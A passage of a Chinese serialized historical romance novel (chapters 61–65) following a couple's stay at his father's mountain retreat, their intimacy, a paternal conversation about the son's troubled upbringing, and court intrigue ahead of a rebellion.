他又在作秀了,王静姝脑中下意识地就闪过了这想法,可男女之间的往来从来都是你情我愿,她促狭地惹恼他,而他时而恼恨,又时而作秀地诱她,这感觉并不坏。 女郎眼波清水般地流转,泛起潋滟的清光,唇角也弯弯地勾道:“看你表现。” 两人旁若无人地讨价还价,嵇牧早已习惯地别开视线,不多时,自草屋厨舍中走出了跟从沈照的小仆,小仆往返数次,道现在正是吃蟹的好时节,请郎君与女郎用膳。 扫眼望去,食案上大半都是蟹的不同吃法,蟹膏肥美,色泽诱人,尤其是其中一道洗手蟹,是用生蟹剁碎,再经麻油熬熟,各种食料草果烹煮,最后还须葱、盐、醋等味入蟹内拌匀食用。 王静姝甫尝一口,双眸都发出了不一样亮光,单是为了这滋味,她都愿意多在此多留几日。 她其实隐约思得沈遐洲所来为何,绝不会单是带她来见沈伯父,只经了不久前的那场刺杀,又知同丹阳王有关,她心中不安,倒不如继续跟着沈遐洲四处走走,且瞧着沈伯父就比某郎君可靠多了。 她眉眼弯弯地想着,视线也落在面前郎君身上,他此刻没有半分阴郁戾气,用银挑子细细剔着蟹肉,许是生得好的缘故,这种事在他做来也雅致十分,很是悦目。 这样的郎君,如何不会被他俘获心魄? 她犹想着,郎君也上掀了眼睫,含笑看着她,那笑意既缱绻,又藏着点跃跃欲试的兴味。 王静姝眼皮不妙地跳了跳,身子也后撤似的退了退,果然,下一刻,郎君用银勺递了一口蟹肉到她面前。 细白的蟹肉与丰腴的膏黄混在勺中,发着诱人的食物香气,可王静姝眼神闪烁了,不敢对上郎君的目光。 她忽地也感受到了羞赧,这种亲密在过往她故意撩拨沈遐洲,为他喂药时还不显,但当复刻到了自己身上,总有些面热,且沈伯父虽不曾出来与他们一起用饭,但这处屋舍一眼可望的地,总归是离得太近了些,不得不承认,在脸皮厚度上,她确不如沈遐洲。 她微摇了摇头,避开沈遐洲送到面前的蟹肉,两人较上劲地来往一下,王静姝实在拗不过,飞快地衔上一口就退,抿唇轻嚼间见沈遐洲又有了动作,她开口:“我不要吃蒸出来的蟹了,没甚滋味。” 她自己动手伸向了洗手蟹,吃得太急,硬物在牙间咔滋一声,掺杂在内的蟹壳碎片陷入了她的牙肉中。 疼得她嘶声抽气,沈遐洲立马端了水让她漱口,但洗手蟹本就重味,口腔中残留的辛味不断刺激着伤处,只觉得那儿更疼了。 她捂着脸缓着牙肉中传来的一阵一阵刺疼,不让沈遐洲为她看,大张着牙口让郎君查看,想想就有点丑,她宁愿先疼着,况舌尖舔舐过伤处,她知道应只是被划了一道口子,就是疼得难受。 然沈遐洲一旦强势起来,就一点也不容王静姝拒绝,他虎口钳住她的下颌,迫她张开唇,凑近身地为她瞧。 王静姝本就疼,他还粗鲁掐她,眼尾一下就红了,盈满了泪意,她从来都是极美的女郎,此刻脖颈被迫上仰着,堆挽后坠的乌发一半都沿腰落在了蓆垫上,盈泪又痛又怒瞪来的眼,没了往日那种盛气的华美,但偏显出了十分的凄艳来。 沈遐洲瞧着瞧着就偏了目光,从女郎望不清的口腔内壁,落到了微张又润泽的唇,再又一寸寸移至了她柔婉动人的眉眼,目光渐渐发直,升起了想蹂躏女郎的龌龊欲望。 他的神色还有看她的目光,极为不正常,而这 种不正常,王静姝恰能读懂,他又有感觉了,他怎试过一次后,就一点底线也没了啊。 王静姝生了恼,在他放松力道向她倾身来时,向后缩一下,反手回了他一巴掌,力道并不大,甚至算得上轻,只沈遐洲似乎仍旧被扇得懵了,他凄苦极了地开口:“我想想也不行吗?” 王静姝瞪他:“你是只想想吗?” 沈遐洲自觉心虚地用眼撩她,手也覆上了她的手:“卿卿,我还想与你亲亲。” 第62章 第62章(抓虫)你怎么不讲究了…… 沈遐洲言语直白,撩拨得王静姝红了腮帮,手背极具存在感的温热也昭显着郎君的心猿意马,王静姝微抬眼看他,只见郎君面白神清,耳尖却微红。 她实是不知他脑子里都在想什么了,怎为她看个伤都能有了感觉,她都还没怪他弄疼了她。 两人你望我一眼,我望你一眼的,所有幽微念头在不经意间发了酵。 可他们到底克制,郎君也只是捏捏女郎手地道:“我再给你看看?” 王静姝摇头,语中也有些嗔怪:“你方才都掐痛我了。” 郎君一瞬流露出懊恼,垂下的乌浓眼睫,虚虚遮着极淡凄然伤感的眼眸,他定是在自责了。 女郎便又道:“也不是特别痛,”她的指尖也轻触了触郎君的脸颊:“我打痛你了吗?” 沈遐洲从来不是真良善之人,却不止一次被女郎直接伤在了颜面处,可他却并不觉得恼,男女之间的情趣,怎么可以说是打呢,他面容低微,姿态如百合般郁美,鼻尖也卿蹭了蹭女郎的面颊,贴面道:“卿卿,日后你若觉得我惹恼你了,可以再打重点。” 他并非在说假,他知自己时常控制不住的恶意,尤其是在面对女郎时,常常生出即便将她拆入腹中也不够的难以餍足之感,他总想向女郎寻求更多,可又怕惹了她反感。 他既强势,可又同样的脆弱,王静姝心间都因他的话在发颤,越发了解沈遐洲的同时,她似乎也越发地被他牵动情绪,也对他更生爱怜。 “我才没有古怪的喜好。”她嘟囔了一句,为自己辩解。 她也坚决不让郎君再为她查看口中伤处,她始终觉得那样有点难看。 而沈伯父自入了屋中便再未曾出来,夜里他们的住处也由小仆安排,只隔一堵墙的两间屋子,她费了好大的力,才将沈遐洲劝离,她可没脸在长辈的眼皮子底下,与他同处一室。 然,到了第二日,她口中牙肉的伤处不见好转,还红肿了起来,早膳时也只能用粥,小菜都咀嚼不得。 沈照听闻了,有些了然,道洗手蟹这道菜确会发生这种事,山顶道观的老道长会些粗浅医术,能开些清热消肿的药物,可以遣人去一趟。 恰也无事,王静姝便觉不如自己去一趟,也赏赏小次山的景色,山中旧绿树葳蕤满林,叶云飞荡于二人之上,恍若这悠悠天地间唯他们二人。 二人便行得悠哉游哉,时而停下辨认未曾见过的草木,不认识的红果也摘下尝一尝,当然是沈遐洲尝,见他露出难以言状的神情,王静姝便觉得有趣,戏谑地问他到底是何味道。 而郎君如今也学坏了,他拥着女郎靠在高木上亲吻,将滋味传递过去。 如此嬉闹下,王静姝口腔中又被刺激得不行,觉得疼,这才走快了些去求药。 老道人一听他们的来意,便了然,留他们稍歇,去取了药,青绿的草药膏,还散发着清清凉凉的味道,道只要抹在红肿处,便可消肿缓解疼,即便咽下去也无妨,是新调配的药膏,专应付这吃蟹的时节,比起内服的药,止疼的见效更快。 王静姝谢过道长,两人这才重新下山,下山与上山时不同,偶会有些陡峭的山坡,她提着裙摆反没有上山时的从容,好在他们有整日的功夫荒废在山林间,可以慢慢来。 沈遐洲也乐得与女郎相处,不用顾忌什么长辈。 又是一个陡坡,他纵身跃下,展开手臂地对女郎笑:“卿卿,跳下来。” 年轻郎君乌发白衣博袖,身形也清逸瘦长,展臂望来时,眉眼蕴笑,细碎的日光落在他身上,满身漫不经心的琳琅风流。 王静姝被晃了晃,毫不犹豫地向他跃下。 裙裾掀动下,郎君略显清冽的气息拥了她满怀,有力的双手也锢住了她的腰肢,那手臂慢慢收紧,并不立马放开她,她能察觉那隔着几层轻衫还透过来的摩挲痒意,幽微又暧昧。 她听见郎君道:“卿卿,你累了吧,我们寻处歇歇,先将药上了再回去吧?” 他声音温存亲昵,还暗藏着些隐秘的试探,他知女郎自来大胆,能令她顾虑不与他亲近的缘由,大抵就是草屋太小,同长辈离得太近了些,他心中甚至对沈照升起了不满,嫌弃他一个决定做得太慢。 可另一面,又无比希望这种无任何打扰,也无任何事务烦扰的时光能长些,再长些。 王静姝自来身子骨极好,她虽觉得下山不便,可也还没到感到累的时候,但她只瞧上沈遐洲一眼,便知他藏的什么心思,可她并不认为沈遐洲这讲究又别扭的性子会与她在山中胡来,顶多就是摸摸手和亲亲。 她眼尾上扬了扬,一副看透他的姿态。 沈遐洲面容被她望得一点点泛红,“卿卿,我替你上药。” 王静姝仍旧犹豫,食髓知味的从来都并非郎君一人,她并不排斥与郎君的一些亲近,可他怎就对上药如此热衷? 张着口让人查看,一点也不美。 然而,也是她犹豫的片刻时间,忽有水滴落她额间,仰脸,又是一滴,竟是要下雨了。 这时也由不得他们拉拉扯扯地多想,先寻处避雨才是。 沈遐洲拥着女郎,足尖轻点,在山林中飞跃穿梭,寻着可躲雨的去处。 雨势一点点地加大,王静姝也更埋入沈遐洲胸膛,当他们在一处石洞中停下时,她只些微湿了些鬓发。 沈遐洲却更惨些,宽袍湿入,显出了些里头衣裳的襟边。 这时节,虽说不上冻人,可若一直穿着湿衣不好受不说,定然是要受寒的,想想沈遐洲不过与他泡过冷池,星泉便道郎君病了,她也不做他想地去为沈遐洲解湿了的外衣。 沈遐洲顿楞不过一瞬,就半点不矜持拿乔地任由女郎动作:“卿卿想对我做什么都可以。” 王静姝指尖顿住了,像是见鬼一般地望沈遐洲,郎君却羞赧得像是做出了很大让步地任人采撷的姿态。 他面容清透如玉,眉目也淡如墨,眼睫又密又长,垂眼静静立在雨帘触不到的石洞内时,静谧美好,而那经他口中说出的话,竟不显违和,给人以温静顺从之感,撩拨得人惊讶之余,心间也发颤。 他这是把往日的讲究都抛得没边了,且还想着她主动呢。 王静姝利落地褪了他外袍,往洞中地上一铺,故意不遂他意地道:“沈九如,你都在想什么啊,我是不想直接坐地上罢了。” 沈遐洲显然失望地望一眼女郎,也明知女郎的故意为之,他拉她的手,在她指尖轻咬一口,喑哑委屈地道了声“坏卿卿”,这才拉她一起在铺了外袍的地上坐下。 雨一点也没有停歇的意味,洞外雨帘也淅沥个没完,沈遐洲又拉了拉女郎一下问:“卿卿,上药吗?” 王静姝白了沈遐洲一眼,却不再拒绝,总不好欺负他太过,且无有镜子,她自己也瞧不准上在何处。 她偏脸,向着郎君微启了唇。 女郎唇瓣红滟,眉眼纤浓艳丽,其实一点也没有她想的丑态,沈遐洲甚至觉得紧张。 他用里衣擦拭了手,才一手托着女郎的下颌,一手探入女郎口中,沾着药膏的指腹一点一点磨过女郎牙肉,又一遍一遍细致地照料到那微肿的牙龈。 比起药膏带来的刺激,那种手指探入口腔的存在感和摩、擦感,更令人难以忽视,况沈遐洲做的也太细致了些,细致到了她生出了别样的难受感,还有些羞耻感,她想退却,郎君却双手配合得她无处可躲。 明明只是简单的上药,可她却像是受了欺、凌一般地呼吸加重,削薄的双肩也控制不住的轻颤。 事毕,她竟有些脱力。 她一时没能去留意沈遐洲,也没能瞧见郎君此时古怪的容色。 他盯着自己的手,其中一指的指腹同向下的指骨处,都莹润着一层从女郎口中带出 的水渍,也不知是想到了什么,他浓墨一般的眼眸越发阒黑。 王静姝忽地被郎君抱坐,声音也喑哑无比,与她贴耳道:“卿卿,你想yao我吗?” 便是不去瞧他布满欲,色的眼眸,王静姝也能感受到触碰到的热情。 他的兴致总是来得莫名其妙,且极其强烈。 她不适地扭了扭腰,郎君倏地低“嘶”一声,似痛又似爽快,他扶着女郎的腰,仰脸恳求道:“卿卿—— 再动动。” 微妙的意味伴着炙热在不断变化,王静姝大脑一瞬空白,她本就不是什么都不懂的女郎,沈遐洲沾满欲色的模样她也不是没见过,可这样由她为主导的被索求,与第一次时全然不同,甚至地点环境也全然不同。 她作怪地又动了动,郎君又嘶气,锢在她腰间的手迸发出紧绷的力度,隔着层层衣袍,她只动了一下,立马就停了,捧起郎君的脸,好笑望他:“沈九如,你怎么不讲究了?” 她不怀好意,故意撩拨又肆意嘲笑,郎君不禁咬牙,压下女郎的后脑,与她吻作一处。 并不深入的吻,但也足够清凉的药味在两人之间相互传递,他们渐渐沉溺其中,难以控制。 初时,王静姝还能占据主导,可越到后面,她便越发觉得这个姿势极其累人,她懈怠地搭在郎君肩上,将自己全然交了出去。 雨依旧在下,淅沥雨声伴着山洞中各种含糊声响,王静姝浑身轻颤,可她越抖,越没有停歇的时候。 及至最后,沈遐洲是如何带她回到草屋,又如何清理也都在迷糊中被带过,她只记得,过耳的风,与停歇了的雨雾,令她舒服得很想睡去。 再醒时,听得沈伯父已准备同他们一起回洛京,且有话想与她说。 第63章 第63章“三郎可是欺负你了?”…… 王静姝神情怔忡,不知沈伯父为何寻她。 她疑心是昨日与沈遐洲闹得太过,被察觉了端倪,一时也有些懊恼,懊恼自己半点定力也无,轻易就被沈遐洲勾起了兴致。 可也仅仅是懊恼而已,而不是懊悔,她觉得能瞧得郎君被自己支配时,露出的不曾见过的模样,很是喜爱,满面浮着绯色的郎君,瞳仁黑寂忍耐,敞开的胸膛淌汗喘气,不断抵着她求她快一些时低吟出的弱音,即便此刻想起来,心间也能泛出毛刺般的酥意。 情难自禁大抵便是如此。 她不由摸了摸肚子,想着没有留在里面,应该不会那么容易中招吧。 再说,沈遐洲那时不时病得要死不活的样子,自幼不知吃了多少的药,或许不行呢,这样想着,她的担忧就减弱了很多,对自我定力不足的谴责也弱得只剩下轻微一点。 她四处不曾寻见沈遐洲,去见沈伯父时,心中多有些忐忑,她往日也不是这样胆小的女郎,可长公主为她留下的印象太过深刻,她总觉得沈遐洲是个不正常的郎君,而能生出他这样郎君的父母,也同样有些难以言明的不正常。 沈照显然瞧出王静姝的不安,他温和笑笑:“你父亲如今可还好?” 王静姝讶然,只道她离开建业时,父亲除了有些不舍,其他一切皆好。 沈照点头,说起连王静姝都不曾知的一些父辈年轻时的游学之事。 这般听着,她的不安也消散许多,只觉得沈伯父与长公主当真不同,是真正的温雅如玉,谦然若怀,他给人的感觉,没有高位者的压迫,更多是一种长辈的包容感。 好像即便她在他面前犯了大错,他也只会笑笑而过。 王静姝不免稀奇,为何一家人怎么会这样的不同,就像是各长各的,她大着胆子去偷瞧沈伯父,发现沈遐洲与沈伯父还是有些父子间的共同点的,至少在气质上与外形上,都是一般无二的隽雅出尘,只沈伯父明显光华内敛一些,而沈遐洲得要不犯病。 她想得突然有些想发笑。 再抬眼,发现沈伯父正温和地瞧向她,奇异的包容与慈爱。 王静姝不免赧然低头。 沈照无妨地笑了笑道:“三郎被我遣去为我老友送些不便带走的书,昨日你应当见过。” 王静姝点头,知沈伯父说的老友是昨日为她配药的老道人,可同样的也知,沈伯父定是有不便让沈遐洲知道的话要与她说,不然为何放着自己仆从不差使,要沈遐洲跑一趟? 故而她点头之余,姿态也更乖巧几分,有点像是准备听老师教导的好学生般。 “六娘,我与你父亲同辈,便这般唤你吧,”沈照抬眼眺望远处山谷,并不转弯抹角地道:“我支开三郎,是有些话想问你,三郎可是欺负你了?” 说至最后一句时,沈照倏地转过眼,容情严肃许多。 王静姝一时哑然,还有些恨不得寻个洞钻进去的,她实在不知沈伯父都知道些什么,而“欺负”二字可意有所指? 沈照并不急着要她回答,反说起了沈遐洲幼时:“三郎是是我看着教导大的,他幼时聪敏良善,可我与他母亲诸多事情上生有分歧。” 沈照艰涩停顿一瞬,“他母亲性子多有些偏执强势,对三郎教导上也如是。” “而我与他母亲,都想在三郎身上寻得些自身才是对的证明,三郎聪敏,早早察觉了我与他母亲之间的对抗,不知何时,他学会了周旋,他在我面前温和端然,而在我不知的地方,又将她母亲的那一套偏执狠辣学了个十足十,甚至性子上也出现了些问题。” “他一旦抓到能正当施虐的时机,虽不以折磨为乐,却能静静看许久,眼中没有任何情感,凉薄无比,就好像看着旁人痛苦,他反能平静。” “那时他还未出蒙学的年岁,我在宫中寻到他时,他正看一个几欲被杖毙的小黄门受刑,见得我,才目中出现了慌然。” 王静姝听得皱了眉,未出蒙学的年岁,那也就是八岁不到,一个小孩儿见到生死,过于平静好像确实有些可怖,可为何好像每个人都在告诉她沈遐洲不是个好郎君? 她早就知沈遐洲不好啊,得不到就绑就抢的郎君能指望他好到哪里去? 王静姝像是被激出了逆反的心理,他觉得沈遐洲再不好,也多有底线,就像他们认识的几年前,被他扔下水的那些小郎君,最后其实也没有任何性命危险,他只是小心眼点罢了。 再是后来宋娘子一事,关到牛棚照料赛牛。 王静姝皱了皱鼻头想,好像确实很不道德,可非要开脱的话,那也是宋娘子有害人之心在前,沈遐洲护短点罢了。 再则,沈遐洲也做过好事啊,阴平的灾后重建,若非沈遐洲的魄力,哪有那样快,即便他或许藏了什么不为人知的私心,可做的事是有利的也是不争的事实。 加之沈伯父方才也说了,是他与长公主不合,才造成了沈遐洲后来的模样,她想象不出沈伯父这样温雅和气的人会如何与长 公主不合,但光是想想她见过的长公主强势的掌控欲,心中反更怜郎君。 既是如此,他们有何资格说沈遐洲不好。 她心中不自觉地偏向沈遐洲,为他开脱,也为他生气,连带对着沈伯父时,目光也显出了些怒意的火光。 只一眼,沈照便察觉道小女郎不如方才对他恭敬,甚至在生气,这是为了三郎? 他先是诧异,继而又释然地笑了,语气也有些宽和的试探:“你不怪三郎绑了你?” 王静姝惊讶抬眼,不解沈伯父是如何知道的。 沈照便柔笑道:“我虽不在洛京,但并非不收书信,二郎常与我来信,提起你与三郎。” 二郎道三郎有了心仪的女郎,观之很适宜做沈家未来的主母,他决定帮帮三郎,也顺带表妹长长见识。 他见到信时,只觉得胡闹,三郎所为将女郎的意愿置于何处?二郎所为与助纣为虐又有何异? 他当即动了下山的念头,可时下信件往来从来都是不及时的,当他瞧到信时,便证事情都早已发生,且告一段落。 故而,见到王六娘子时,他一直是心中有愧,愧于没能教好三郎,尤其是昨日暮夜时分,见得王六娘子是被三郎抱着回来,还叫了水。 这才有意寻了王六娘子单独说话,只要女郎有一分不愿,他便会自此不让三郎再纠缠她。 : 只此刻才发觉,他似在无意中惹了厌。 王静姝也在沈伯父越发宽和的眼神下,尴尬无比,怎沈二郎这般的大嘴巴,什么都说,沈伯父也竟然知晓这般多,她不得不硬着头皮开口,也为沈遐洲描补一二,她道:“不是不怪,只是我已教训过他。” 不曾料到的回答,沈照愕然一瞬,笑了,情之一事,从来冷暖自知,是他着相了。 他此时也确认,或许也只有王六娘子这般光华熠熠又自信的女郎,才能治住三郎。 再开口,沈照不再质疑两人情感,也不再说三郎如何不好,而是说起他在此独居数年,想明白了许多事,他为很多往事感到后悔,也放下很多执着。 “我此次下山,非是因你与三郎来请我,而是我早已决定回洛京。” “若有一日——” 沈照没有说有一日如何,只郑重地以长辈口吻拜托王静姝,让她代为向沈遐洲转达。 王静姝不解其意:“伯父为何不自己与三郎道。” 沈照目光又看向远处:“时机未到。” 王静姝仍旧不解,但这次认真点了头。 见她答应,沈照心中越发认同这个既定的儿媳,语气也越发地慈爱:“我离洛时,未曾带出什么女孩儿会喜爱的玩意,唯有这一块祖上传下的玉壁赠你。” 玉璧为整块白玉雕刻而成,比男子半个手掌还大些,下圆处外饰有夔龙纹和蟠螭纹,上方结绳处玉鸟相衔,有一龙飞凤舞的“令”字,怎么瞧都不是该送于女孩儿佩着玩的。 王静姝甫瞧一眼,就拒绝。 沈照却笑,道是送给她的见面礼,况:“你不是能教训三郎吗,有了这个,三郎日后只能听你的。” 王静姝可耻地心动了,她想,这玉璧或许重要,但沈伯父能送出给她一个女孩儿,那说明也不是极其重要,她或许可以收下。 她不再推拒,将其收好,想日后若是有机会,再用来威慑郎君。 当沈遐洲急忙赶回时,瞧见的就是他的女郎与他的父亲相谈甚欢,一时既感慨女郎无论在哪,都极讨人喜爱,一时又酸涩不已,她会不会有了某些性情对比后,不那么喜爱他了。 如此,下山时,他对沈照多有“苛待”,诸如,将他甩在后,亦或是与女郎耳语他的坏话…… 王静姝一副没救了的眼神看沈遐洲,不想与他多言。 两叶轻舟从渚清沙岸向另一岸而去,江风将沈照的衣袍吹得猎猎,他目凝着远山青黛,心中既平静又无端地忧愁。 年少时什么情感都是纯粹又激烈,争吵与执着也是,他无法忍受枕边人对他一直是欺骗利用,也无法认同她的立场后膨胀的野心,这种不断的争吵,非但让他们走向了极端,还蔓至了下一代,该是回京做个了断了。 而此时的洛京城中,诸多调令早已发至各处州县,京中也弥漫着山雨欲来的紧张氛围,空而阔的宫殿中,堆满文书奏本的案后,鬓发隐有一丝白的长公主依旧华服高冠,可再精致的妆容也难掩她的疲乏。 她病了,她日日都在喝药,可仍旧不见好。 她招手唤来卫士问:“三郎可是请得那人回了?” 第64章 第64章(抓虫)剧情 漱阳长公主微阖着眼听着卫士的回禀。 从三郎离开洛京的那一日,她就知晓他的去向,自她肚里出来的儿子,即便不曾多有母子间的温情,可也活在她的眼皮子底下多年,就算三郎清理了再多次卫士又如何,只要她想知道,那就有办法知道。 她既恼怒他的失控,可又打心底地欣赏,不愧是她的孩子,与她如出一辙的有魄力。 她不喜令三郎发生失控的王六娘子,当初知晓时,就曾将其请到宫中给了女郎难堪。 除却王六娘子对三郎造成的影响外,她背后王家打的算盘也令她生怒。 原本想着那王娘子知晓三郎的本性后,会知难而退,也与三郎就此离心,没想兜兜转转,只等来三郎越发脱离她的掌控,而她想分离的年轻男女,却越发的形影不离。 三郎不按她为他铺好的路走,如今她在,他尚可任性,可若她不在了呢? 她近来,常常觉得光阴不待她,稍一不留神,她竟鬓角出现了几丝白,因这几丝白发,她晨日里,怒杖了几个随侍她的婢女。 事后冷静下来时,方惊觉自身的暴虐,她竟控制不住自己的脾性了,而这样的事情时有发生,她不知她到底是因身居高位过久,忘了体恤,还是她本就是这样的人。 或许都有吧。 否则,她也不会落到孤家寡人的境地,可她仍旧不服输,想与沈照证明她的选择是对的,即便没了他的帮助,她也仍旧能牢握权柄。 故而,三郎遇刺之事,送上的机会,她明知三郎对她可能的误解,也不曾柔了心肠,她知三郎必会请沈照来与她添赌。 可她又何尝不是在等沈照回洛京的一日—— 谁对谁错,而她能否颠覆世家,终将见得分晓。 从卫士口中听得肯定的答案,她目中难得地柔和一瞬,安心而又隐有期待。 * 王静姝一行人越靠近洛京,能感受到的氛围也越凝重,听闻,丹阳王有谋反之心,据长江天险与朝廷对峙,朝廷怒而伐之,从各地调出六路兵马,其中两路为从雁门与幽州抽调,并将部分世代据中原腹地任有官职的世家子弟调往了边地,这是逼迫这些世家抵御外敌,也借以外敌消耗这些世家原本势力,形成钳制。 这些变动混在诸多大事中,似乎不起眼,可也听得人胆战心惊。 尤其这还涉及了南地的诸郡,王静姝试图从中多听得一些自家的情况,他实觉得丹阳王起事得突然,且想到了之前的那次刺杀,丹阳王真正的目标并非是沈遐洲,也非是刺杀,而是恼怒于她落了他的脸面,连带其被朝廷盯上,想要暗中抓了她回建业折磨。 只也不知他与何人达成了合作,却被将了一军,在毫无防备下暴露了自身,若不想死和失去所拥有的一切,唯有当即与朝廷对立,如此或许还能有一线生机。 而丹阳王一旦扯了旗帜,即便南地的诸多世家不想与其一同起事,也多会受到牵连,甚至先被其控制了,当然也有可能是主动加入。 王静姝皱着眉想了想自家的情况,以她大伯的精明程度,定然有退路,可同样的,她也更惧归家了。 她不免想得头痛,沈遐洲却在这时牵了牵她的手。 年轻郎君眉目沉冽,侧着的脸庞也清寒一片,可说出的话却沉静可靠:“卿卿,莫怕。” 他偏过脸,像是洞悉了女郎想法一般地凝着她:“有些事,即便没有你,也一样会发生。” 只要皇权与世家的矛盾在,只要他母亲没有放弃借战争削弱世家,那不管是对内还是对外的 战事都会起。 他对此并无怜悯,世上千万人的死活,他也常觉得与他无关,乱便乱吧,他冷寂阴诡的心思自来如此,可他在乎的人却皆希望他能做个好郎君,诸如女郎,还有沈二郎等人。 而他似乎也有这个能力去做些什么,甚至,对那背后推动之人生了怒。 他会顺水推舟将刺客闹得人尽皆知,是因他明白这事根本瞒不住。 那撤走的另一批刺客,从一开始就带着了不为人知的目的,其隐在背后的人,有太多的方式推动这场争斗,若只是长公主安排的人,反倒是最容易防备的,可若是有人故意指向他母亲呢? 吕相,亦或是还有更隐秘的人? 事态的走向虽仍是战事,但至少就如今而言,在大势下,那藏在背后之人并不会在此时过多举动暴露自己。 “回洛京后,我会主动请旨下江陵劝降。”沈遐洲道。 王静姝讶然望向他,只觉得郎君好像在不觉间就成熟了不少,可她仍旧有些不解。 沈遐洲捏了捏她手,没有多说什么,他在赌这由他母亲主导,但猝然而起的战事非丹阳王当下所愿,他要知道与丹阳王合作的人到底是谁?是谁为丹阳王留在洛京的人隐瞒了踪迹,又是谁透露了他与女郎的行踪? 直觉告诉他,这非常重要。 * 与此同时,洛京的某处寺院厢房。 素雅的屏风后,一女郎敞衣而卧,面庞潮、红不已,身姿也不断扭动,床旁散落着饮后的酒壶还有各色的粉末。 若是好此物的人许是能一眼认出,这是五石散。 女郎沉浸在药物带来的潮动中,自来温婉秀气的脸上,显出不同平日里的艳丽,那涌动的热潮渐渐散去,她只略披上一层轻纱,捞了一旁的靶镜对照,染了丹蔻的手抚上自己的脸庞,既迷醉自己更光耀的肌肤,又扭曲地怒恨。 怒恨那令她再也离不开药物的沈三郎,也嫉恨被沈三郎维护的王静姝。 就因她的出身吗?凭何人人都看不起她? 她目中神色几多扭曲,并不再多披外衣地向屏风外走去,一层轻纱根本遮不了什么,几欲赤、身的玲珑曲线显露无疑。 屏风外竟还坐了一人。 那人也不知听了多久这女郎的自我扌无慰,他容情淡淡,似如寻常,此刻笑得也温雅柔和,并不多瞧地请她坐下:“陶娘子。” 陶然便笑着施礼:“阿然谢过殿下配的药方。” 她初食五石散时,并无不妥,发散了即可,可往后的几日,她常感到心里难受,尤其想再服食五石散,那种渴求摧毁了她的理智,难耐得她抓破了自身的肌肤。 她控制不住地再用了那日沈三郎余留下来的五石散,她控制着用量,她知晓这种药物只要使用得得当,非但没有坏处,还有益于自身。 然而,沈三郎余留下来的那些五石散,不过几日的功夫就用尽,她不得不向外寻。 问题也出在了这,不对,不对,每一份能买得的五石散配方都不对,她疯魔了似的食用各种五石散,寻着能压下她心底渴求的那份配方,她肌肤泛起了大大小小的红斑,甚至在蜕皮,犹如癞皮狗般难看。 她忍受不了自己不人不鬼的模样,嘶声尖唳,不敢再踏出房门,心底怨恨更甚,可也是这时,惠王寻上了她,道能帮她。 她珍惜极了这一身难得恢复并更甚往日的肌理,她放、荡又大胆地在惠王跟前展示着自己的魅力,一礼行得全然不同在外的神女形象,极尽妩媚地在惠王身旁跽坐:“阿然还要感谢殿下令我父亲能有机会调至下邳。” 下邳虽仍旧比不上荆州等地,但经渎水,据下广陵,也可与长江另一侧的南地形成威慑,她父亲日后再也不用在边地受各种世家钳制,不得升迁地与蛮人作战,经此一役,以她父亲为首的寒门武将必然受到提拔,成为拱卫皇室的一支势力。 早前,她只想依附长公主,一心嫁与沈三郎,可沈三郎待她过于无情,且回想往日种种,加之父亲来信的提点,她才恍然惊觉,她竟从未离开过惠王的帮助,无论是拜访名士时的顺水推舟,还是之后扩大神女谶纬的提点,若非这些,她绝无可能在没有与沈三郎的亲事前提下,令长公主有理由想起提拔她父亲。 而拱卫皇室,从来非只有长公主一人,惠王殿下也可,她父亲也可为惠王殿下所用。 她为惠王斟茶递向。 惠王笑笑,觉得陶然还不算蠢。 他无疑是选择了站在世家一方,可同样的,他与长公主一般,日后也会需要可钳制世家的力量,故而,他同样会不留余力地扶持寒门武将,他暂时舍弃的是南地的世家。 王娘子固然动人,可在诸多势力中,唯有成为诱饵,还是极好的诱饵,丹阳王便因咽不下胸中闷气,派了人来掳掠她。 他引导了这场刺杀,料理了所有能与丹阳往传信的卫士,丹阳王能收到什么信息全在他想让其知道什么。 他本该在刺杀后,先假借其卫士传出消息,令丹阳王率先起势,打朝廷个措手不及,可三郎不愧是三郎啊,即便明将刺杀的苗头指向了自己的母亲,也能不忘怀疑旁人,宁愿将先手送至长公主手中,如此封了他之后的动作不说,还将大司马请了回来。 惠王无声地叹了口气,抿了一口茶,他该想想如何将大司马一同料理了才是。 第65章 第65章全是剧情,不喜勿买 沈照的重回洛京,很是惊动了一些人,诸如吕相为首的一些世家。 当日里,沈府中还不及为沈照接风洗尘,就先收到了许多的宴请和拜访,皆是来试探沈照态度的。 沈照虽退离洛京多年,但其声望犹在,自他离开洛京后,再无人被授大司马一职,其权一直掌在长公主手中,可如今他回来了,也就多生了许多的变数。 且沈家这次可也被调动了不少,如一直兼任大将军守着京畿的沈桓,也被抽调为六路兵马的一路,这种变动,说得好听些,是一视同仁,可想得多一些,其再回来时,还能不能回到原来的位置就难说了。 长公主曾经依靠过沈家,可现在并不信任沈家。 面对这种嫌隙,同为世家,他们想知晓一直因缺少家主,而中立的沈家,如今到底会如何选择? 当中最为忐忑的无疑是吕相,盖因无论沈家怎么选,都于他无利,若沈氏继续与长公主一个阵营,那他的对手就强大了,但若其绕过长公主,一心扶持幼主,那他岂不是又居于人下? 如此想着,下朝后,吕家马车直驶入一长街药铺处停下。 吕相年过半百,他下颌蓄须,较之沈照年长上不少,但面色红润,光是瞧着,便知身体不错,他 下了马车踏入药铺,立马有卫士立在门外,不再有新的病人入内。 吕相走至一青年郎君跟前坐下,放下手腕道:“人老了,总觉心力不济,恰路过此地,知殿下在此义诊,可否为老夫也试试。” 惠王并不推拒,搭上吕相手腕,稍诊片刻,言道:“吕相为国操劳,多思多虑,该多休息才是。” 吕相收手,意有所指道:“时值多事之秋,老夫如何能歇得下,还请殿下帮帮老夫。” 惠王沉默片刻,取了一旁纸笔书了一份养生方子,递给吕相,吕相接过方子,细瞧一眼,笑道:“倒是好方子,老夫今日想来能睡个好觉了。” 目送吕相离开后,惠王也不再义诊,向药铺后头走去,而他原先坐过的地方也换上了旁的医师。 他笑意不达眼底,吕相已不是第一次寻他了,却从不曾如今日一般明确认定他,毕竟成年的宗亲哪有年幼小皇帝好控制? 吕相一直试探他的态度,拉拢他,也不过是想要一出头鸟罢了,可沈照的归来,令吕相有了压迫感,他需要自己另扶一陈氏血脉,才得以保障他自身的地位。 在吕相看来,唯有他背后无权无势,空有个良善的好声名,即便扶了他,也需仰仗以其为首的世家。 可惜了,吕相想错了,他等这一天很久了。 无权无势,那就自己造出权势来,他与吕相 ,谁利用谁,日后还未可知。 * 是年冬,因气候与对峙的长江天险,早早调令的数路兵马迟迟才与丹阳王兵马有了第一战,水战的弱势,先传回洛京的是败战,继而又打了数战,才适应了水战,开始有捷报传回。 洛京宫中最高的观景台上,长公主神色难辨地站在楼前眺望远方,夜幕侵染,宫灯渐亮,却依旧显得寂寥。 